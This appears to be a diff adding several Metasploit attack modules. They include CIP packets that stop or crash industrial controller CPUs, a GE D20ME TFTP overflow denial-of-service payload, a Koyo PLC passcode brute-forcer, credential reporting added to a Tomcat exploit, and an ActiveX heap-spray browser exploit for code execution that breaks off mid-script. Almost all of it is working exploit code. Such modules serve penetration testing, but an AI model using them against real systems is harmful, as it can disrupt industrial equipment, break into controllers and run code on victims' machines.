|
||||
attack = datastore["ATTACK"]
|
||||
print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
|
||||
sid = req_session
|
||||
if sid
|
||||
forge_packet(sid, payload(attack))
|
||||
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
|
||||
end
|
||||
end
|
||||
|
||||
def forge_packet(sessionid, payload)
|
||||
packet = ""
|
||||
packet += "\x6f\x00" # command: Send request/reply data
|
||||
packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
|
||||
packet += [sessionid].pack("N") # session identifier (4 bytes)
|
||||
packet += payload #payload part
|
||||
begin
|
||||
sock.put(packet)
|
||||
rescue ::Interrupt
|
||||
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def req_session
|
||||
begin
|
||||
connect
|
||||
packet = ""
|
||||
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
|
||||
packet += "\x04\x00" # encaph_length (2 bytes)
|
||||
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
|
||||
packet += "\x00\x00\x00\x00" # status code (4 bytes)
|
||||
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
|
||||
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
|
||||
packet += "\x01\x00" # proto (2 bytes)
|
||||
packet += "\x00\x00" # flags (2 bytes)
|
||||
sock.put(packet)
|
||||
response = sock.get_once
|
||||
if response
|
||||
session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
|
||||
if session_id
|
||||
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
|
||||
return nil
|
||||
end
|
||||
else
|
||||
raise ::Rex::ConnectionTimeout
|
||||
end
|
||||
rescue ::Interrupt
|
||||
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
|
||||
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
|
||||
return nil
|
||||
end
|
||||
return session_id
|
||||
end
|
||||
|
||||
def cleanup
|
||||
disconnect rescue nil
|
||||
end
|
||||
|
||||
def payload(attack)
|
||||
case attack
|
||||
when "STOPCPU"
|
||||
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
|
||||
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
|
||||
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
|
||||
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
|
||||
when "CRASHCPU"
|
||||
payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
|
||||
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
|
||||
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
|
||||
when "CRASHETHER"
|
||||
payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
|
||||
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
|
||||
when "RESETETHER"
|
||||
payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
|
||||
"\x05\x03\x20\x01\x24\x01\x30\x03"
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
##
|
||||
# The General Electric D20 (and possibly other devices) have numerous
|
||||
# buffer overruns in their TFTP servers and probably other servers.
|
||||
# There are many buffer overruns like it, but this one is the D20's
|
||||
# TFTP Server transfer-mode overflow.
|
||||
# The filename also suffers from an overrun but seems unlikely to be
|
||||
# exploitable.
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/ui/text/shell'
|
||||
require 'rex/proto/tftp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Rex::Ui::Text
|
||||
include Rex::Proto::TFTP
|
||||
include Msf::Exploit::Remote::Udp
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'General Electric D20ME TFTP Server Buffer Overflow DoS',
|
||||
'Description' => %q{
|
||||
By sending a malformed TFTP request to the GE D20ME, it is possible to crash the
|
||||
device.
|
||||
|
||||
This module is based on the original 'd20ftpbo.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Jan 19 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
|
||||
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
|
||||
Opt::RPORT(69)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
udp_sock = Rex::Socket::Udp.create(
|
||||
'LocalHost' => datastore['LHOST'] || nil,
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => rport,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
) # No need to rescue, it's a UDP faux-socket
|
||||
udp_sock.sendto(payload, rhost, rport)
|
||||
recv = udp_sock.timed_read(65535, recv_timeout)
|
||||
if recv and recv.size > 0
|
||||
udp_sock.sendto(payload, rhost, rport)
|
||||
else
|
||||
print_error "#{rhost}:#{rport} - TFTP - No response from the target, aborting."
|
||||
return
|
||||
end
|
||||
print_good "#{rhost}:#{rport} - TFTP - DoS complete, the D20 should fault after a timeout."
|
||||
end
|
||||
|
||||
def recv_timeout
|
||||
if datastore['RECV_TIMEOUT'].to_i.zero?
|
||||
3
|
||||
else
|
||||
datastore['RECV_TIMEOUT'].to_i.abs
|
||||
end
|
||||
end
|
||||
|
||||
def payload
|
||||
"\x00\x01NVRAM\\D20.zlb\x00netascii" +
|
||||
"\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" +
|
||||
"\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" +
|
||||
"\x80\x80\x80\x89\x80\x80\x80\x8A\x80\x80\x80\x8B\x80\x80\x80\x8C\x80\x80\x80\x8D" +
|
||||
"\x80\x80\x80\x8E\x80\x80\x80\x8F\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92" +
|
||||
"\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97" +
|
||||
"\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9A\x80\x80\x80\x9B\x80\x80\x80\x9C" +
|
||||
"\x80\x80\x80\x9D\x80\x80\x80\x9E\x80\x80\x80\x9F\x80\x80\x80\xA0\x80\x80\x80\xA1" +
|
||||
"\x80\x80\x80\xA2\x80\x80\x80\xA3\x80\x80\x80\xA4\x80\x80\x80\xA5\x80\x80\x80\xA6" +
|
||||
"\x80\x80\x80\xA7\x80\x80\x80\xA8\x80\x80\x80\x00\x80\x80\x80\xAA\x80\x80\x80\xAB" +
|
||||
"\x80\x80\x80\xAC\x80\x80\x80\xAD\x80\x80\x80\xAE\x80\x80\x80\xAF\x80\x80\x80\xB0" +
|
||||
"\x80\x80\x80\xB1\x80\x80\x80\xB2\x80\x80\x80\xB3\x80\x80\x80\xB4\x80\x80\x80\xB5" +
|
||||
"\x80\x80\x80\xB6\x80\x80\x80\xB7\x80\x80\x80\xB8\x80\x80\x80\xB9\x80\x80\x80\xBA" +
|
||||
"\x80\x80\x80\xBB\x80\x80\x80\xBC\x80\x80\x80\xBD\x80\x80\x80\xBE\x80\x80\x80\xBF" +
|
||||
"\x80\x80\x80\xC0\x80\x80\x80\xC1\x80\x80\x80\xC2\x80\x80\x80\xC3\x80\x80\x80\xC4" +
|
||||
"\x80\x80\x80\xC5\x80\x80\x80\xC6\x80\x80\x80\xC7\x80\x80\x80\xC8\x80\x80\x80\xC9" +
|
||||
"\x80\x80\x80\xCA\x80\x80\x80\xCB\x80\x80\x80\xCC\x80\x80\x80\xCD\x80\x80\x80\xCE" +
|
||||
"\x80\x80\x80\xCF\x80\x80\x80\xD0\x80\x80\x80\xD1\x80\x80\x80\xD2\x80\x80\x80\xD3" +
|
||||
"\x80\x80\x80\xD4\x80\x80\x80\xD5\x80\x80\x80\xD6\x80\x80\x80\xD7\x80\x80\x80\xD8" +
|
||||
"\x80\x80\x80\xD9\x80\x80\x80\xDA\x80\x80\x80\xDB\x80\x80\x80\xDC\x80\x80\x80\xDD" +
|
||||
"\x80\x80\x80\xDE\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xE1\x80\x80\x80\xE2" +
|
||||
"\x80\x80\x80\xE3\x80\x80\x80\xE4\x80\x80\x80\xE5\x80\x80\x80\xE6\x80\x80\x80\xE7" +
|
||||
"\x80\x80\x80\xE8\x80\x80\x80\xE9\x80\x80\x80\xEA\x80\x80\x80\xEB\x80\x80\x80\xEC" +
|
||||
"\x80\x80\x00\x80\x00\x00\x00\x7F\xFF\xBC\x80\xEF\x80\x80\x80\xF0\x80\x80\x80\xF1" +
|
||||
"\x80\x80\x80\xF2\x80\x80\x80\xF3\x80\x80\x80\xF4\x80\x80\x80\xF5\x80\x80\x80\xF6" +
|
||||
"\x80\x80\x80\xF7\x80\x80\x80\xF8\x80\x80\x80\xF9\x80\x80\x80\xFA\x80\x80\x80\xFB" +
|
||||
"\x80\x80\x80\xFC\x80\x80\x80\xFD\x80\x80\x80\xFE\x80\x80\x81\x80\x80\x80\x81\x81" +
|
||||
"\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86" +
|
||||
"\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8A\x80\x80\x81\x8B" +
|
||||
"\x80\x80\x81\x8C\x80\x80\x81\x8D\x80\x80\x81\x8E\x80\x80\x81\x8F\x80\x80\x81\x90" +
|
||||
"\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95" +
|
||||
"\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9A" +
|
||||
"\x80\x80\x81\x9B\x80\x80\x81\x9C\x80\x80\x81\x9D\x80\x80\x81\x9E\x80\x80\x81\x9F" +
|
||||
"\x80\x80\x81\xA0\x80\x80\x81\xA1\x80\x80\x81\xA2\x80\x80\x81\xA3\x80\x80\x81\xA4" +
|
||||
"\x80\x80\x81\xA5\x80\x80\x81\xA6\x80\x80\x81\xA7\x80\x80\x81\xA8\x80\x80\x81\xA9" +
|
||||
"\x80\x80\x81\xAA\x80\x80\x81\xAB\x80\x80\x81\xAC\x80\x80\x81\xAD\x80\x80\x81\xAE" +
|
||||
"\x80\x80\x81\xAF\x80\x80\x81\xB0\x80\x80\x81\xB1\x80\x80\x81\xB2\x80\x80\x81\xB3" +
|
||||
"\x80\x80\x81\xB4\x80\x80\x81\xB5\x80\x80\x81\xB6\x80\x80\x81\xB7\x80\x80\x81\xB8" +
|
||||
"\x80\x80\x81\xB9\x80\x80\x81\xBA\x80\x80\x81\xBB\x80\x80\x81\xBC\x80\x80\x81\xBD" +
|
||||
"\x80\x80\x81\xBE\x80\x80\x81\xBF\x80\x80\x81\xC0\x80\x80\x81\xC1\x80\x80\x81\xC2" +
|
||||
"\x80\x80\x81\xC3\x80\x80\x81\xC4\x80\x80\x81\xC5\x80\x80\x81\xC6\x80\x80\x81\xC7" +
|
||||
"\x80\x80\x81\xC8\x80\x80\x81\xC9\x80\x80\x81\xCA\x80\x80\x81\xCB\x80\x80\x81\xCC" +
|
||||
"\x80\x80\x81\xCD\x80\x80\x81\xCE\x80\x80\x81\xCF\x80\x80\x81\xD0\x80\x80\x81\xD1" +
|
||||
"\x80\x80\x81\xD2\x80\x80\x81\xD3\x80\x80\x81\xD4\x80\x80\x81\xD5\x80\x80\x81\xD6" +
|
||||
"\x80\x80\x81\xD7\x80\x80\x81\xD8\x80\x80\x81\xD9\x80\x80\x81\xDA\x80\x80\x81\xDB" +
|
||||
"\x80\x80\x81\xDC\x80\x80\x81\xDD\x80\x80\x81\xDE\x80\x80\x81\xDF\x80\x80\x81\xE0" +
|
||||
"\x80\x80\x81\xE1\x80\x80\x81\xE2\x80\x80\x81\xE3\x80\x80\x81\xE4\x80\x80\x81\xE5" +
|
||||
"\x80\x80\x81\xE6\x80\x80\x81\xE7\x80\x80\x81\xE8\x80\x80\x81\xE9\x80\x80\x81\xEA" +
|
||||
"\x80\x80\x81\xEB\x80\x80\x81\xEC\x80\x80\x81\xED\x80\x80\x81\xEE\x80\x80\x81\xEF" +
|
||||
"\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" +
|
||||
"\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" +
|
||||
"\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" +
|
||||
"\x80\x80\x82\x80\x80\x80\x82\x81"
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,188 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
# msfdev is going to want a bunch of other stuff for style/compat but this works
|
||||
# TODO: Make into a real AuthBrute module, although the password pattern is fixed
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to
|
||||
a locked Koyo DirectLogic PLC. The PLC uses a restrictive
|
||||
passcode, which can be A0000000 through A9999999.
|
||||
|
||||
This module is based on the original 'koyobrute.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'DisclosureDate' => 'Jan 19 2012',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
|
||||
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
|
||||
Opt::RPORT(28784)
|
||||
], self.class)
|
||||
|
||||
@CCITT_16 = [
|
||||
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
|
||||
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
|
||||
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
|
||||
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
|
||||
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
|
||||
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
|
||||
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
|
||||
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
|
||||
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
|
||||
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
|
||||
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
|
||||
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
|
||||
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
|
||||
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
|
||||
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
|
||||
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
|
||||
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
|
||||
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
|
||||
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
|
||||
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
|
||||
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
|
||||
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
|
||||
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
|
||||
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
|
||||
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
|
||||
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
|
||||
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
|
||||
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
|
||||
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
|
||||
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
|
||||
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
|
||||
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
|
||||
]
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@udp_sock ||= {}
|
||||
@udp_sock[ip] = Rex::Socket::Udp.create(
|
||||
'LocalHost' => datastore['LHOST'] || nil,
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => rport,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
)
|
||||
print_status("#{ip}:#{rport} - KOYO - Checking the controller for locked memory...")
|
||||
if unlock_check(ip)
|
||||
print_good("#{ip}:#{rport} - Unlocked!")
|
||||
return
|
||||
else
|
||||
print_status("#{ip}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
|
||||
end
|
||||
|
||||
# TODO: Consider sort_by {rand} in order to avoid sequential guessing
|
||||
# or something fancier
|
||||
(0..9999999).each do |i|
|
||||
|
||||
passcode = 'A' + i.to_s.rjust(7,'0')
|
||||
vprint_status("#{ip}:#{rport} - KOYO - Trying #{passcode}")
|
||||
|
||||
bytes = passcode.scan(/../).map { |x| x.to_i(16) }
|
||||
passstr = bytes.pack("c*")
|
||||
print_debug passstr.inspect
|
||||
|
||||
res = try_auth(ip, passstr)
|
||||
if res
|
||||
print_good "#{ip}:#{rport} - KOYO - Found passcode: #{passcode}"
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:user => '',
|
||||
:pass => passcode, # NOTE: Human readable
|
||||
:active => true
|
||||
)
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def crc16(buf, crc=0)
|
||||
buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff}
|
||||
[crc].pack("S")
|
||||
end
|
||||
|
||||
def unlock_check(ip)
|
||||
checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
|
||||
@udp_sock[ip].sendto(checkpacket, ip, datastore['RPORT'].to_i)
|
||||
|
||||
recvpacks = 0
|
||||
# TODO: Since the packet count is critical, consider using Capture instead,
|
||||
# but that requires root which is mildly annoying and not cross-platform.
|
||||
# IOW, not a hugely good way to solve this via packet counting, given the nature
|
||||
# of UDP.
|
||||
#
|
||||
# Another way to speed things up is to use fancy threading, but that's for another
|
||||
# day.
|
||||
while (r = @udp_sock[ip].recvfrom(65535, 0.1) and recvpacks < 2)
|
||||
res = r[0]
|
||||
if res.length == 269 # auth reply packet
|
||||
if res[17] == "\x00" and res[19] == "\xD2" # Magic bytes
|
||||
return true
|
||||
end
|
||||
end
|
||||
recvpacks += 1
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def try_auth(ip, passstr)
|
||||
data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
|
||||
header = "HAP"
|
||||
header += "\xe5\x01" # random session ID
|
||||
header += crc16(data)
|
||||
header += [data.length].pack("S")
|
||||
authpacket = header + data
|
||||
|
||||
@udp_sock[ip].sendto(authpacket, ip, datastore['RPORT'].to_i, 0)
|
||||
|
||||
2.times { @udp_sock[ip].get(recv_timeout) } # talk to the hand
|
||||
|
||||
status = unlock_check(ip)
|
||||
|
||||
return status
|
||||
end
|
||||
|
||||
def recv_timeout
|
||||
if datastore['RECV_TIMEOUT'].to_i.zero?
|
||||
3
|
||||
else
|
||||
datastore['RECV_TIMEOUT'].to_i.abs
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
@udp_sock.each_pair { |ip,sock| sock.shutdown rescue nil}
|
||||
end
|
||||
|
||||
end
|
|
@ -128,6 +128,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:user => datastore['BasicAuthUser'],
|
||||
:pass => datastore['BasicAuthPass'],
|
||||
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
@ -212,6 +222,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:user => datastore['BasicAuthUser'],
|
||||
:pass => datastore['BasicAuthPass'],
|
||||
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
#
|
||||
# EXECUTE
|
||||
#
|
||||
|
|
|
@ -0,0 +1,201 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in TRENDnet SecurView Internet
|
||||
Camera's ActiveX control. By supplying a long string of data as the sFilter
|
||||
argument of the OpenFileDlg() function, it is possible to trigger a buffer
|
||||
overflow condition due to WideCharToMultiByte (which converts unicode back to)
|
||||
overwriting the stack more than it should, which results arbitrary code execution
|
||||
under the context of the user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'rgod', #Original discovery, PoC
|
||||
'sinn3r' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '80661' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/18675/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
|
||||
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
|
||||
[ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Mar 28 2012",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
||||
return targets[1] #IE 6 on Windows XP SP3
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
||||
return targets[2] #IE 7 on Windows XP SP3
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
||||
return targets[3] #IE 7 on Windows Vista
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
my_target = get_target(agent)
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
# Set payload depending on target
|
||||
p = payload.encoded
|
||||
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
|
||||
# Convert the pivot addr (in decimal format) to binary,
|
||||
# and then break it down to this printable format:
|
||||
# \x41\x41\x41\x41
|
||||
t = [my_target.ret].pack("V").unpack("H*")[0]
|
||||
target_ret = ''
|
||||
0.step(t.length-1, 2) do |i|
|
||||
target_ret << "\\x#{t[i, 2]}"
|
||||
end
|
||||
|
||||
js = <<-JS
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x40000-6)/2);
|
||||
|
||||
heap_obj.gc();
|
||||
|
||||
for (var i=1; i < 0x1000; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
|
||||
var ret = "";
|
||||
for (i2=0; i2<30000; i2++) {
|
||||
ret = ret + "#{target_ret}";
|
||||
}
|
||||
obj.OpenFileDlg(ret);
|
||||
JS
|
||||
|
